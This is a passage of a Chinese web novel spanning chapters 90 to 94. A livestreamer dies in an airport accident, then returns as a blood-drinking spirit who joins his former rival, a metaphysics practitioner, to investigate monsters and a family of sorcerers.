到了家门口,月轻盈心里莫名开始紧张,沈砚台一反常态竟然什么都没对他做。 不是说喜欢他,不是看他的眼神很深情,应该会做点什么。 “在想什么?”沈砚台凑过来,英俊挺拔的脸出现在他面前。 月轻盈瞥了他一眼,说没什么,手脚快速的打开房门。 “刚刚是不是在想什么坏坏的事?” “没有。”月轻盈僵着脸,压痕不会承认自己刚刚在紧张又期待着他的吻。 “可是我想了。” 沈砚台一点点蹭过来,下巴搭在月轻盈的肩膀上,用额前发软软的蹭月轻盈的脸颊。 “我要回去了,给个晚安吻?” “又不是小孩,要晚安吻你能睡得更香?” “试试?” 沈砚台伸手拉着月轻盈进门,将门关上,月轻盈被他抵在门板上,他将他拢在自己的怀里,强硬又不失温柔和他接吻。 月轻盈总是觉得自己很难能接受沈砚台的强势,和他不断的进攻。 一吻结束,沈砚台游刃有余,月轻盈却是狼狈的面红耳赤,呼吸急促,喉间还在不算吞咽。 “我走了。” 月轻盈看着他轻快的背影,趴,一巴掌拍在自己的脸上。 操,他有反应了。 如沈砚台说的没错,和FPS游戏联动结束后,他就开始打比赛了。 各种比赛,总之,他很忙,他忙到来找他吃饭也只是隔三差五来。 忙到消息有时候很久很久才回,有时候因为要专注他的手机还会被教练没收,有时候两三天才能联系一次。 偶尔为了解相思苦,沈砚台会和他连视频,可是两人刚说完吃饭了吗的开场白,就会被教练打断,沈砚台要训练了。 最后一次联系是沈砚台给他打电话,说,他很想他,他打的比赛都赢了,最近要去H国打比赛,要是他赢了,问他能不能做他男朋友。 月轻盈说他要考虑考虑。 之后的月轻盈只能收到沈砚台发来的去H国的飞机票。 沈砚台和他断了联系。 这些天沈砚台不来缠他,月轻盈一开始是轻松的,很快的,他又无趣了起来,总觉得少了什么。 加上他和沈砚台的暧昧网友们都看在眼里,他一开播,网友就会提沈砚台,说他最近的行程。 不知不觉,月轻盈会被带着节奏去搜寻沈砚台的行踪,有时候,是他自己耐不住寂寞自己去搜索关于沈砚台的资料和在哪里出现过的痕迹。 这天,月轻盈睡到中午,他醒来时才发现沈砚台给他发了消息。 是他举着奖杯的照片。 沈砚台的比赛赢了。 沈砚台又发来消息说:“要不要做我男朋友?” 月轻盈还没想好发什么,沈砚台又发来大额转账。 心情一下子跳跃起来,月轻盈笑容都明亮了好多。 他没说话,只是收了钱,沈砚台知道他是同意了之后,给他发了行程。 “男朋友要不要来接对象回家?” “男朋友不是白当的,等我!” “好。” 月轻盈去见沈砚台的那天,天气格外的好,天边的云彩都是心形的。 为了衬托男朋友的身份,他突发奇想的穿着西装,手上捧着一捧表达了心意的花束。 机场大厅,蛮多人都在讨论,但是月轻盈不受影响,可能他年轻他无所畏惧。 他等着接机,一旁施工队正在整休玻璃装饰品,周边提醒装置范围很小,他没有在意。 差不多到沈砚台出来的时机,月轻盈握紧了手中的花,双眼一直专注着来往的人群。 一道高大的身躯缓缓走来,他戴着黑色的鸭舌帽,黑色的口罩,即使只露出一双眼睛,月轻盈还是认出了他。 他脸上带着笑,举着花,冲他摇手,“男朋友来接你了。” 他笑得是那么生动活波,沈砚台一见到他,连日来的忙碌的疲惫,在这瞬间都被冲散了。 他加快了步伐,眼睛一点点弯起来,拉紧了背包的肩带,朝他奔去。 下一秒,周边忽然响起了尖叫声,和工作人员大喊的让开。 划拉,玻璃碎裂的声音响起。 月轻盈还没来得及,只察觉到从头顶坠下来沉重的重量差点将他压死。 他的时间停止了。 看着从手边滚落出去的花束,他还意识到哪里不对,等眼前出现了红色,他还是茫然的。 等他见到沈砚台狰狞着脸喊他的名字,丢下背包朝他跑来,中途还差点摔倒,他才觉得不对。 “沈……” 他一张口,口中是大口大口的鲜血,他低下头,这才发现自己被掉落的玻璃制品划开了颈动脉。 周边都是碎裂的玻璃渣,他的身体还是剧痛起来。 那一整块庞大的玻璃在他身上炸裂,身上,颈动脉,肺部里都是碎片。 他有些怔愣,这时候,他还不知道怕。 等沈砚台来接他,身躯抖着,黑色面罩都被他哭湿了,他才知道事情好像有点严重。 “不好意思啊……男朋友的出场不太帅气……” 他看着沈砚台哭的崩溃的样子,眼里也带上了泪,他相信了。 他信沈砚台是真的喜欢他。 他伸出一双血手,握住沈砚台的手,“别哭……我本来就是一个人,谢谢你在我死前能陪着我。” 沈砚台看着逐渐断气了的月轻盈,有些无从下手,甚至不敢伸手拥抱他。 他不知道自己还能承受几次月轻盈在他面前死去的场景。 “盈盈……”沈砚台泪如泉涌,抱着跟血人一样的月轻盈,哭的像是要断气。 月轻盈因为沈砚台的关系,如今也算的上是小有名气的直播。 他的死造成了轰动。 因为拥抱在碎裂的玻璃渣的他,沈砚台那双打游戏无敌神手被割伤,无法在电竞圈生活下去。 他一死,ASS战队的神,电竞圈男神跟着没了消息。 月轻盈去了下一世,沈砚台跟着去了。 第四世。 第五天了。 他已经在门外观察那个在床上安睡的男人第五天了。 他身上散发出的香气 馋得他再也忍不住了,相对的,男人留下的法阵的威力也减少了很多。 月轻盈伸出手轻轻在地上碰了碰,光洁的地板上明明什么都没有,却骤然亮出了一层光圈,周边的空气都停滞了。 唔,好麻,但是不严重。 月轻盈吸溜了两下口睡,越过法阵一点点靠近男人。 他垂下头打量男人的容貌,挺括的眉眼,深陷的眼窝,欣长的睫毛,高挺的鼻梁,抿在一起到唇瓣,处处都透露出完美。 完美! 这么完美的男人是他的食物,简直在好不过了! 月轻盈舔了两下垂到嘴边的口水,磨了磨牙,缓缓张大了嘴巴。 尖锐的牙齿正要刺入薄薄的皮肤,一只手突然卡住了月轻盈的咽喉。【你现在阅读的是 】 90-100 第91章 91 他开心就好 “额……” 月轻盈错愕的眼对视上一双凌冽木然的双眼。 “唔……”月轻盈收起尖牙, 转身就像偷跑,下一秒,卡住他喉咙的手猛地收紧。 “放……放开……”窒息感, 让月轻盈这个新魂, 产生了他又要死一次的错觉。 他的痛呼引起了男人的注意, 男人迅速松开,转而扣住了他的手腕。 “你是谁?”男人盯着他,像是狼一样将他紧紧锁在自己能捕猎的范围。 “我叫月轻盈,是个新魂, 但我好像是冤死的, 怨气大所以到现在都没有消散。” 男人身上散发出来的寒冷的气息,让月轻盈止不住瑟缩。 他瞥着男人扣住他手腕的手, 紧张的吞咽着口水,这个男人会不会杀了他。 他知道男人很特殊, 所以才会在男人家里蹲守了这么久。 本以为能吃到一点男人的血稳固魂魄,没想到这个男人能特殊到连他的魂魄都能碰到。 这就是玄术界的强大吗? “冤死的, 竟然是冤死的那便是冤有头债有主, 你来找我干什么?”虽是这么说, 但是男人却将他的手扣的更紧了。 他的手腕肯定肿了。 月轻盈愁的皱起了小脸,“额, 因为你体内有很大的力量,喝你的血我能稳固魂魄。” “我明明画了阵……”男人瞥眼去看门口那没了能量的法阵, 缓缓闭嘴了。 月轻盈见状赶快求饶, “你看,你的血我也没喝着,我还跟你坦白了我的处境,不然, 你就可怜可怜我放了我?” 男人一怔,手上的力气放松了一些,月轻盈察觉后就想逃脱。 “等一下。” 月轻盈紧张,看着滑出男人手掌就剩下一点指尖又被握住的手,他有些心急。 “怎……怎么了……大佬?” 大佬不说话,他只是沉默的,用阴鸷的目光盯着他。 好半晌,属于男人冷然的声音响起,“你很想我的爱人。” “啊?”月轻盈表情空白,这是什么意思啊,别是让自己当他白月光的替身,这个梗也太土了。 “月轻盈你做我的奴隶,我让你喝我的血。” “啥?”套路不一样,甚至地位都下降了,不是白月光就算了,怎么还成了奴隶? 月轻盈气鼓鼓,“大佬,虽然我是新魂,弱小可怜无助,你也不能这么奴役我呀。” “不干我就把你捏死。” 月轻盈皱起眉头,感受了一下大佬的力量,嗯,他真的会死。 月轻盈一下子趴在男人身上,呜呜嘤嘤的哭了,“不要杀我,我做,我做就是了,呜呜呜。” 男人伸出手扣在月轻盈的后背,脸上是不可察觉的放松,他缓缓舒出一口气。 确认大佬不会将自己捏死,月轻盈细细鼻子,向大佬要饭。 “饭饭,饿饿。” 大佬松开他,看了他一眼,直接偏开头,露出那颈线条很完美的脖子。 月轻盈眼睛发亮,舔了舔唇,露出尖牙,嗷呜一声,开饭了。 尖牙刺入肌肤有些刺痛,唇瓣落在肌肤上有些烫人,他吸吮的时候有些酥麻的痛。 沈砚台额上浸出了汗,默默忍受着,等他吃饱离开,他依然端着一张冷清的脸。 “嗝……”月轻盈打了饱嗝。 他看了看大佬有些苍白的脸,委婉的伸手遮挡了一下唇角。 “吃饱了?”沈砚台声音有些不稳。 “感谢款待。”月轻盈虔诚的坐在一边。 “那你改旅行奴隶的职责了。” “?”月轻盈呆滞了,“吃饱了应该躺着休息,让它好好消化。” “你觉得奴隶有这个资格?还是你想跟我谈有没有五险一金,有没有双休?” 别说,他还真的想过。 沈砚台脸上带上了冷嗤,“我管你一天三顿饭,你想想,我身上总共有多少血给你喝?” 月轻盈瞬间脑补了一个人干的恐怖画面,他立刻充满斗志,“做,我做,你让我做什么我都做!” 大佬起身去了洗漱间,不出半晌,一身清爽走了出来,拉住了坐在一边的月轻盈一起上了床。 “???奴隶还要陪睡?”月轻盈惊恐,踢开被子,踹开沈砚台就一个劲往后退。 “只是单纯的睡觉。”大佬被喝了血,大晚上的又被吵醒,此刻的脸已经黑的不能再黑了,耐心告罄。 “过来,不要让我说第二遍,否则我就把你喝进去打的吐出来。” “我凭自己本事喝的血凭什么给我打吐出来!”月轻盈一边叫嚣,一边钻进了大佬的被窝,“我可不能给你这个机会!” 沈砚台:“……” 感受着从月轻盈那边传来的颤抖,沈砚台没忍住笑了出声。 “噗………” 头蒙在被子里的月轻盈,警觉的探出头,“你放屁了?” 沈砚台:“……” “啊……!!!” 惨叫从月轻盈的嘴里发出,他拍打着沈砚台捏上他脸颊的手,“轻点轻点,我错了,我错了。” 见他痛苦,沈砚台这才满意,缓缓松了手,见月轻盈的脸上多出来两个深陷的指引,又缓缓皱起了眉头。 直到这时候,他才有些月轻盈是个新魂的真实感。 他明明没用多大的戾气,月轻盈的魂魄却如纸张一样很容易起皱碎裂。 “疼吗?” 月轻盈怪异的看了他一眼,迷茫道:“我明明叫的那么惨?” 沈砚台看着他脸上两个陷下去的窝窝,缓缓偏开头,“我以为你装的。” “这世界上什么都能装,唯有痛苦是骗不了人的!” “就算你是老板,你也不能虐待奴隶!”月轻盈气的磅磅垂老板的枕头,把它当老板一样揍。 “知道了,对不起。”沈砚台诚实认错。 月轻盈无能狂怒揍枕头的动作一顿,别别扭扭的觉得老板人好像怪好嘞。 “那……睡觉?” “那不然不睡觉,你去代替那个阵法守门?” 月轻盈立刻盖好小被子,惬意的闭上了眼睛,又忽然想起自己是小奴隶,为了让自己过的好点,他觉得有必要讨好一下老板。 然后又起身,不顾老板的皱眉,体贴的也盖好小被子。 沈砚台:“……” 算了,他开心就好。 第92章 92 18岁失踪 朦胧的晨熙。 月轻盈抱着枕头睁开眼, 就见一个挺拔欣长的背影,正在穿衣。 “唔……老板?” 他怎么这么自觉喊了老板?他眨眨眼,爬起身, 就见大佬转过身, 一脸冷漠。 “起来。” “干嘛?” “上班。” 言简意赅的话, 却定了月轻盈这一天该做什么事。 “我一个新魂,上班别人也见不着我啊。”月轻盈给了他一个,老板你好搞笑的表情。 沈砚台居高临下看着他,伸手在他面前的半空比划了两下。 “卧槽, 这是作法吗!” 月轻盈来劲了, 唰掀开被子下床,随即走到镜子前。 “呵, 鬼影都没有。” 他瞥开眼,看着镜子中立在他身后, 那一身桀骜的老板,忍不住臭脸。 “哦, 还有个帅老板。” 沈砚台的身影从他背后走过, “下楼, 吃早饭。” 一听开饭,月轻盈眼睛开始发亮。 空旷显得冷清的客厅, 仅有碗筷不时相碰的声音响起。 月轻盈跟一身软骨似的靠在桌子上,看着大佬慢条斯理的吃早饭, 一脸的不开心。 “不是说吃饭吗?” 他眼睛盯着大佬的脖颈, 昨天被他咬过的地方还有一块牙印。 沈砚台轻瞥了他一眼,吃完了最后一口,这才有空理会手软脚软要从桌子上滑下去的月轻盈。 “过来。” 月轻盈探出头,就见沈砚台手指翻飞, 解开他系在喉结处的衣领,露出雪白脖颈。 月轻盈咬唇,一点点蹭过去,弯腰低下头在昨天的牙印旁边狠狠咬了下去。 吃的太急,有血从他唇边溢出,沈砚台白着脸警告他慢点。 月轻盈瞧着他的脸色,讨好似的舔了舔上口,这次慢了很多。 收回尖牙,饱餐一顿的月轻盈一脸满足,见老板脖颈牙印处还在渗出小血珠,无意识地凑上去舔了舔,好喝。 一脸回味后,见大佬举起颤抖的手指,立刻顿悟,体贴的给他将衣服整理好,系上衣领处的扣子。 他的手指有些冰凉,不时碰到肌肤,若有似无的撩拨似的,沈砚台的眉头微微皱了起来。 他掀开眼皮,见月轻盈正专注的给他系扣子,满脸的认真,虽然他可笑还留着他的血,但见他一片真心,他也就忍着没动火。 等到两个人都吃饱后,便去了沈砚台说的上班的地方。 玄术界办公处。 一个很小,很简陋的地方,周边充斥的墨水纸张,陈旧的物件的沉淀的香味。 月轻盈对这里的第一印象就是很多人。 他在这里见到了穿着办公制服的警察,还有穿着大厂褂的中年人,还有穿着袈裟的和尚,更多的是穿着便衣走来走去的年轻人。 都是不认识的人,陌生的环境,虽然看的有些眼花缭乱,但他却一直留意沈砚台的位置,不紧不慢的跟着他。 “各位大师早上好。” 见沈砚台走过去毕恭毕敬的跟这些中年人打招呼,月轻盈瞪大眼。 他以为大佬是个凉薄的人,没想到人情世故方面挑不出错。 “沈先生好。” 穿着大褂的中年人,一说话就笑,很好相处的样子。 他是陈涛,道家的大师,见沈砚台身后跟着一个新魂,愣了一下,不露声色的没有声张,对月轻盈点点头就算打了招呼。 月轻盈对这个人的好感噌噌涨,要不说人是大师呢,通透。 一旁听见说话声音的和尚,这时候也看了过来,很是和气的道了一句沈先生,见到月轻盈的时候也是面露微笑。 月轻盈有些受宠若惊,随即,将惊喜的眼眸落在沈砚台的身上。 大佬真牛,说带他上班,真的就是带他上班。 沈砚台坐回了自己的位置,开始整理自己的工作。 他的桌子前就一张椅子,月轻盈在周边看了看,老实的站在他身后。 他扭扭眉头,凑到沈砚台耳后,“我觉得我像是你的保镖。” 他温热的吐息扎人,沈砚台让了让,露出好看的鬓角,“一会给你找一张。” 月轻盈满意了。 之后,他就知道沈砚台他们的工作是什么了。 一位面孔很老练的警察走了进来,“报告,西郊发现一位男尸,死相恐怖,怀疑和怪有关。” 他呈上来一个文件夹。 提到怪这个字,月轻盈很明显的察觉到周围的气氛骤然下降,众人都带上了紧张。 沈砚台接过文件,他在看资料的时候,周边的人都没有去打扰他。 月轻盈有些好奇沈砚台在这里扮演什么角色,那两位看起来很厉害的大师都喊他沈先生呢。 沈砚台将文件上的资料过目了一遍,眉头皱了起来,目光里的冷意显而易见。 “不错,的确是怪。” 陈涛和和尚对视一眼,走了过来接收了文件。 和尚,也就是吴天祥,“这个月已经是第十起了吧。” 陈涛沉吟道:“每次发生命案的地方也都是在西郊。” “虽然具体的地点不同,但都没有离开过这个范围,看来我们要去西郊走一趟了。”沈砚台道。 他们聊正事的时候,月轻盈没有出声,安静的听着,一边在脑子里搜索西郊是哪里。 他死后,他的记忆就没了,此刻听到西郊两个字也只是觉得熟悉,却一点想不起是哪里。 他发愣的时候,沈砚台、陈涛、吴天祥已经决定出发去西郊了。 “走吧。” 沈砚台从他身边掠过,月轻盈连忙跟了上去。 出了门口,看着路边停着的一辆劳斯莱斯,月轻盈呵了一声,还想说谁这么豪,就见陈涛打开了车门,招呼着大家上车。 “卧槽,玄术界的这么有钱?” 月轻盈跟在沈砚台得身后小声逼逼叨。 沈砚台脚步慢了吴天祥一拍,“嗯,算命,看风水,解咒,破邪祟,一场法事价格不便宜。” 月轻盈立刻转头看向沈砚台,“那你呢?” 他指着劳斯莱斯:“你赚到这车的钱了吗?” 沈砚台看了他两眼,坐上了车,熟门熟路的系安全带,随即,相当放松的翘起了大腿架在二腿上。 月轻盈懂了。 他也有劳斯莱斯。 下班回去他就要翻翻他的车库。 落在沈砚台周边,月轻盈便好奇的打量起来,跟个兴奋的小狗崽的样子看的沈砚台有些无语。 车程大概两个多小时,月轻盈这个新魂,在青天白日阳气充沛的时候,身体难免会受些影响,困了两个小时。 沈砚台见他睡的香,便递眼过去,细细打量他。 他真的……和高中的时候没有一丝变化,仿佛,他永远停留在18岁。 也是,他也就是在18岁的时候失踪的。 但再见面时,他却是一缕新魂了,沈砚台的眼眸里带着漆黑的压抑。 他手指动了动,碰了碰月轻盈垂下来的手背,凉,但却是没有腐朽的气息。 他没死,魂魄离体,但……如果不救他,他离死也不远了。 他闭闭眼,手指蜷缩紧握成拳,只要找到怪,破邪后,一定会知道他是怎么回事。 车子缓缓停稳,陈涛道:“道了。” 沈砚台面色缓了缓,转头看向车窗外,下意识地皱起了眉头,西郊的天空有着一股阴邪的气息,很浓厚。 太阳都照不进来,难道怪的实力每日递增,加上不断的夺取人类的精气神,怪在作恶这方面只会变本加厉。 沈砚台将月轻盈摇醒,四个人下车。 月轻盈脚一沾地,立刻就察觉到一股森寒的冷意,他忍不住靠沈砚台贴了贴。 “老板,这里有点恐怖。” “嗯。” 沈砚台走上前,跟陈涛还有吴天祥道:“进去吗?” 进去! 月轻盈瞪大眼,立刻环顾起了四周,这里原来是一片风景区。 周边都是葱郁庞大的树木,各个科目的花树,也不知道是不是因为这里阴冷,人们都不喜欢靠近这里,这里便变地阴森了起来。 “拿好家伙再进去。”陈涛慎重道。 陈涛、吴天祥两人返回车子,打开了后备箱一阵收拾。 月轻盈看着身影挺拔什么都没做的沈砚台,忍不住道:“饭……啊,不是,老板,你不去准备吗?” 沈砚台斜眼看向他,“不用。” 听见两人的对话,背上了一个背包的陈涛走过来,笑嘻嘻地:“他确实不用,随手一个结印就能破除一切污秽,6的嘞。” 吴天祥点头,“我也曾多次被他照顾。” 老板这么厉害呢? 月轻盈琢磨,老板确实厉害,不然,他一个魂体怎么能出现在人前。 “老板,咱们这会要干什么?” “去看看。”沈砚台抬脚迈开步伐。 陈涛、吴天祥、月轻盈三人跟了上去。 月轻盈觉得这段路走了很长一段时间,期间,还七拐八拐的,他有些晕头,回头去看来路,竟然是另一幅画面。 “这是怎么回事?” “阵法。”吴天祥说:“没想到这些怪还生出了智慧。” 陈涛道:“真是可怕。” 沈砚台说:“你们……不觉得,这不像是怪,而更像是人类所为吗?” 陈涛和吴天祥对视一眼,皆都皱起了眉头,说起了名家。 “除了我门,还有那个赫赫有名最近也不管事的月家,还有谁这么大手笔,竟然将西郊做成了一个法阵?” “是谁的手笔目前还不得知,或许我们解了西郊的事,搞不好能追踪到一些蛛丝马迹。” 第93章 93 我找了你五年 陈涛道:“那我们就先到处看看。” 沈砚台点头。 月轻盈看着两人离去的背影, 走到沈砚台身边,“他两组队了,那就咱两一组吧。” “你倒是也不必委屈自己, 我自己也可以。”沈砚台斜眼看向月轻盈。 月轻盈:“……” 看着径直走掉的沈砚台, 月轻盈唯唯诺诺跟了上去, 嘴里嘀咕他小气。 沈砚台自然听到了,全然无视了。 他的重心全放在西郊周边的环境上,根据卦阵,这里没有阵眼, 应该还在深处。 月轻盈跟着他走走停停, 见他仰头低头掐指算,有些无趣。 他对这些不懂, 难免觉得没意思,他转头在四处看了看, 见到一颗非常高且有些年岁的树,见着那些间隔不远的树枝丫, 动起了小心思。 见着地面没有铺设碎玻璃和面粉, 沈砚台拧起眉头, 用脚踢动土块将坑给填上。 做完这一切他觉得好像少了什么,回头一瞧, 没了月轻盈的身影。 他的脸色在瞬间变得难看起来,没了平日的矜持, 眼里带上了急切, 高声喊着月轻盈名字。 “我在这里。” 声音从高处飘下来,沈砚台仰头,就见月轻盈不知道什么时候爬到了一颗树的最高处。 沈砚台脸黑了下来,“为什么不声不响的乱跑!” 被吼了, 月轻盈肩膀瑟缩了一下,往下看成了小黑点的沈砚台,用尽喊:“我也是想帮你忙。” 他说,“你看,这里最高,看的最清晰,也看的最远。” 沈砚台见他松开双手跟他挥舞,双手下意识的张开想要接住他。 见他稳稳坐在上面,心里还是非常担心,扯下埋在腰间的衬衫,沈砚台解开扣的严实的衣领扣子和袖口扣子,长腿一蹬,爬上了树。 他来到月轻盈的身边,就沉着脸,朝他伸出手要将他带下去。 察觉到他的目的,月轻盈拉住他,挽留道:“你先看看。” 赖不住他苦苦哀求,沈砚台闭闭眼,跟他在同一个高度,看向西郊的下方。 入眼都是绿色,只能看到最近的范围,更远的就只能看见树头了。 虽然月轻盈爬的高,很危险,害他担心,但是,这也不失一个好办法。 “知道了,下去吧。” “这么快?”月轻盈眨眼,觉得老板牛/逼/死了。 月轻盈的脚刚一落地,就被沈砚台大力的拉扯了过去。 “怎么了?” 沈砚台脸色很臭:“不想看见一个新魂在我面前魂飞魄散。” 月轻盈回味过来,笑起来了:“你是在担心我啊,哈哈哈哈,直白点说呗,干嘛还躲躲藏藏的。” 沈砚台不说话,只吊着眼冷冷看着他。 月轻盈忽然就不爱笑了。 回去的时候,沈砚台就坐在办公桌前,眼睛一直盯着他,不知道在想什么。 月轻盈被他盯的毛骨悚然,刚想说话,沈砚台开口了,“想不想学玄术?” 月轻盈一愣,伸手指着自己:“我想还是不想啊?” 沈砚台不说话。 懂了。 月轻盈说:“我想学。” “可是,我不是死了吗,还能学吗?” “能,你身上有阴气,学起来更容易。” “那就学啊。” 随着沈砚台的话落音,月轻盈就开启了学玄术的课程。 一大早,天刚亮,月轻盈就被沈砚台喊起来作法。 真作法。 接着阴气,阳气,五行八卦,时辰,纸墨红朱砂,就开始作法了。 起先,沈砚台让他用这些算他藏起来的东西在哪,最近开始让他算哪里有墓眼。 月轻盈对这些可就更感兴趣了,学起来简直就是废寝忘食。 沈砚台站在路灯下,看着正在算阵眼方位的月轻盈,见他单薄的身躯因为几日没进食而又虚化的身体,叹了口气。 他解开领口的扣子,将衣领揽在背后,一身凌乱的走向月轻盈。 “来吃饭。” 月轻盈正在做最后的算法,头也不回道:“马上马上。” “就现在。”沈砚台强硬的掰过月轻盈的肩膀,让他目视自己。 仗着路灯凝聚的光,他故意露出欣长白皙的脖颈,露出前些日子被咬开的伤口。 趁着月轻盈怔冷的时候,大掌扣住他的后脑按在自己的颈项。 “听,血液在脉搏里流动的声音,你试着回想它的味道,它是那么的鲜甜,那么的新鲜,你肯定饿了。” 月轻盈感觉到了饥肠辘辘,被他这么一描述,几乎是下意识地轻舔着他的脖颈,尖牙发痒。 “你只要刺下去就可以饱腹一顿。”沈砚台抬手摸他的腹部,那里干瘪空荡。 胃里一点食都没有。 “你做我的小奴隶是事实,可我也没打算饿着你。” 月轻盈一听,沈砚台这是在哄他吃饭? 他嘴角带着坏笑,那他这时候提点要求不过分吧。 “那咱们可得说好,这是你求我吃的,吃完这顿,我可不是你的小奴隶了。” 沈砚台瞥向他,“那你想做什么?” 月轻盈沉吟了一声,“现在还不知道,等我想好了再告诉你。” “知道了,快咬。” 月轻盈满意了,笑眯眯地开饭了。 尖牙刺下去的时候,尖锐的疼痛让沈砚台身体瑟缩了一下,月轻盈立刻放轻力道,双手安抚的在他背后轻拍。 有时候他喝的忘我,剧烈的疼让沈砚台想逃离时,他就会紧紧扣住他的腰。 注意到沈砚台的身体逐渐无力,脸色发白,月轻盈就会停了吸血。 他一次又一次的舔着伤口,这样可以让伤口快速的愈合。 痛又痒的双重极致感官,沈砚台承受不住,额间露出细汗,耳朵透着红晕。 “好……好了,够了,不用舔了。”沈砚台推开他。 月轻盈伸出去的舌尖还没有收回来,吸到了一口凉气,他哦了一声。 他见沈砚台发虚的样子,主动牵起他的手:“走吧,回去了。” 沈砚台回头看了看他还没完成的工作,“不找了?” “已经找到了,找到了也没用,咱不会干盗墓的事。” 沈砚台笑笑。 两人回去后,一前一后洗漱,沈砚台失血过多很快就睡了下去。 月轻盈喝的很饱,到是没什么困意,便睁着眼睛看天花板,实在无聊,便爬起来打量沈砚台的房子。 说起来,他还没有好好看过沈砚台的住处。 这里很空旷,但是家里该有的不少,墙面上,桌子上,都有很多相框。 照片里的人应该是沈砚台的父母、朋友,沈砚台脸上的表情很放松,多了些人情味。 唔……最隐秘的东西应该会放在自己身边吧。 月轻盈回到沈砚台的房间,翻他的抽屉,果然,他看到了一张照片。 照片里的有一个男生,和先前相框里的人都不一样。 这个男生很漂亮,身躯看起来清瘦,可是却很有力量感,有趣的事,男生的手里拿着一张符纸。 原来这个男生也是玄术界的,可是他没有见过这个人呢。 他将照片翻过来,后面有字。 “五届玄术比赛,都得了第一名的月轻盈,将此照片赠送给沈砚台这个万年老二,我们永远都是好朋友。” “噗,沈砚台居然是万年老二,还输给这个人五次!” “等等,这个人怎么也叫月轻盈,真巧。” 他看着照片种的男生,莫名觉得有种熟悉感,他抬手摸自己的脸,叹了口气。 “成了魂后镜子里都照不出我的脸呢,我也想知道自己长什么样。” 他嘀嘀咕咕地,丝毫没有发现睡着的沈砚台呼吸变得不稳起来。 将照片放回去,困意上头的月轻盈爬上床,长手长脚搭在了沈砚台身上。 沈砚台:“……” 等他睡着,他睁开眼,翻身,眼也不眨的看着月轻盈。 月轻盈不知道,但他却知道。 他的脸和照片上月轻盈的脸一模一样。 他就是月轻盈。 月家老幺,玄术界天才。 长的好看,实力强,性格好,家境好,也不知道是不是这些得天独厚的优势,让老天嫉妒了,他才在他18岁这年消失了。 谁都找不到他的踪迹。 “你不知道,我找了你五年。”他轻轻抬手去碰月轻盈柔软的眼角。 “你今年都23岁了,月轻盈。” 沈砚台说完后,将身体往他那边挪了挪。 月轻盈是新魂,身体很凉,他总想将他的体温捂热。 第二天一大早,熟悉的画面。 月轻盈看着背对他穿衣的沈砚台打了个大大的呵欠。 “你做我的情人吧。”沈砚台突兀道。 月轻盈嘴巴都没合上,“啊?” 玄术界办公处。 看着走进来的沈砚台,每个人脸上都带着笑,欲跟他打招呼,嘴巴刚张开,就僵硬住了。 沈砚台跟人牵手了,对象是他昨天带来的新魂,更有意思的事,新魂表情很臭,不情不愿的。 “噗……” 众人转过脸偷笑。 玄术界统治者沈砚台也有被人嫌弃的一天,也有追不到的人! 月轻盈磨牙瞪着沈砚台:“我还没答应呢!” 沈砚台说:“下班带你去买金子。” “嗷!”月轻盈立刻笑眼弯弯,“你怎么知道我喜欢金子?” 沈砚台一顿,“看你那几天拼命练找阵眼的玄术,猜的。” “观察的还挺仔细的,那我答应了。” 沈砚台看着他缓缓露出一个轻笑。 第94章 94 闪现的画面 真好骗。 就在众人忙着处理怪这件事的时候, 破小烂的玄术界办公处,却来了一批陌生人。 这些人周身散发着凉气,肃穆的黑色西装, 表情都很是凝重。 脚步声惊起了办公的人, 纷纷睇递眼过去, 皆都是一愣,随即动作整齐划一的站起来。 “月老。” 月家的人来了。 沈砚台眉眼深压,抬眸看过去,眼里都是冷意和防备。 月轻盈惊觉他身上的变化来的突然, 猜测是与这群人的到来有关。 “怎么了?”他靠沈砚台近了些, 沈砚台都防备的人,说明他们很强。 他现在就是一缕魂魄, 别被波及了,到时候真的会死翘翘。 “噤声。”沈砚台扫了他一眼, 头靠向他那边,小声提醒。 月轻盈立刻把嘴巴抿住。 头顶上方传来一道阴影, 月轻盈下意识抬头, 就见沈砚台挡在了他面前。 他每天早上都要过目一遍的挺拔开阔的肩膀, 此刻距离他分毫。 沈砚台……在保护他耶。 月轻盈偷笑,有点子开心。 那他就乖点吧。 他配合得躲在沈砚台的身上。 陈涛是最先反应过来的人, 上前一步,“月老怎么来了?” 月老是月家这一代的家主, 年岁已高, 实力强劲,但架不住身体的衰老,已有颓废衰败征象。 月轻盈消失这五年里,月家经历几次更替, 月老的儿子女儿因为月家家主的位置,争吵的早已没了亲情。 月家是家族式住房,这么一争,儿女都搬了出去,偌大的家就剩月老一人。 月老的脸上有明显的沧桑,“老头子此次前来,是因为怪的事。” 吴天祥插了一嘴,“怪的事惊动了老爷子,老爷子是想帮忙?” 月老摇摇头,一声叹息从他口中流露出来,“老头子家门不幸,管教不严,前些日子才得到消息,我那糊涂的二儿子,仗着家里的术法,竟是被人哄骗练那长生不老术。” 玄术界办公处的人:“……” 不是,这人不是个傻子吧? 月老的其他孩子争家主位,看来是情有可原,自己本就是玄术师,还能被别人骗,换谁换都能被刺激到。 不过这是别人的家事,别人的儿子,不好跟着骂,所以这些人都没吭声,等着月老接下去的话。 月老叹气:“这本也没什么,坏就坏在我那二儿子有一个得天独厚,聪明伶俐的儿子,也就是我的孙子月轻盈。” 月轻盈,玄术界的人无人不知,无人不晓,他强悍的实力,聪明的头脑,年纪轻轻就能跟玄术界在场各位拼个高低的后起新秀,没人能忽视。 “他怎么了?”沈砚台突然出声问。 见他反应异常,月轻盈想起沈砚台收藏起来的那张照片,他探头,看了一眼沈砚台。 沈砚台表情虽没有波澜,可他的眼神里都是破绽,倾泄的担心,一眼就能察觉。 月轻盈莫名有些酸。 月老看向沈砚台,想起他是和月轻盈玩的好的年轻人,点点头算打了个招呼。 “他竟然为了他那被骗的爸爸,练起了邪术,邪术是会反噬的,不知道他做了什么,我的儿子女儿相继出了事。” 众人一怔,而后了然,月轻盈学玄术一点就通,邪术更是轻而易举。 听他的话,沈砚台直觉不可能,刚想辩论两句,他的衣袖传来了拉车感。 他将急切和戾气吞下,转头看去,就见月轻盈比他还愤怒的样子,指着月老,“他骗人!” 月轻盈是魂魄离体,可不是失了智,虽然失忆了,但他做没做这事,会本能的反应出来。 见他气呼呼地,沈砚台本想问他他怎么知道月老说的不是真话,但怕被月老察觉到月轻盈的存在,他安抚似的捏了捏月轻盈的手,示意他会看着办。 月老的视线从这群年轻人的脸上一一划过,“我此次前来,就是希望能到诸位的帮助,我怀疑怪的事和我那孙儿有关,请求你们帮我抓住我的孙儿,月轻盈。” 众人一脸的为难。 你豁出去老脸,说了月家辛密,祈求帮助也没什么,可是你月家,玄术界名家,排位第一的月家人都出事了,指望他们抓住月轻盈是不是有点强人所难? 几乎是没有人感应下这件事。 沈砚台却是在这个时候站了出来,“可以,但是我有一个请求。” 